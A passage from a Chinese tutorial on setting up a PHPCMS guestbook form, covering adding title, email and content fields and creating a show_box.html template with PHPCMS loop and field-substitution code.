这个你一定要提前做好模板, 比如我的是show_box.html, 这里要注意模板命名要以show_开头 8)js调用使用的模板:这里不做介绍,可以不理它了。 3,下面,确定。如果图 功能如下: 1)信息列表:用来查看留言信息,现在不用 2)添加字段:主要用这个,我们要添加三个字段 分别是留言标题(title),联系邮箱(email),留言内容(content) 添加:字段 ---字段类型: ----字段类型 ----字段别名 ----数据校验正则(这个的话看你自己的需求来用) 其他的可以不写 最后》提交

三、模板 找到phpcms\templates\default\formguide 新建模板show_box.html

{loop $forminfos_data $field $info} {if $info['formtype']=='omnipotent'} {loop $forminfos_data $_fm $_fm_value} {if $_fm_value['iscomnipotent']} {php $info['form'] = str_replace('{'.$_fm.'}',$_fm_value['form'],$info['form']);} {/if} {/loop} {/if} {/loop}

相关主题
相关文档
最新文档
{$info['name']}{if $info['star']} *{/if} {$info['form']} {$info['tips']}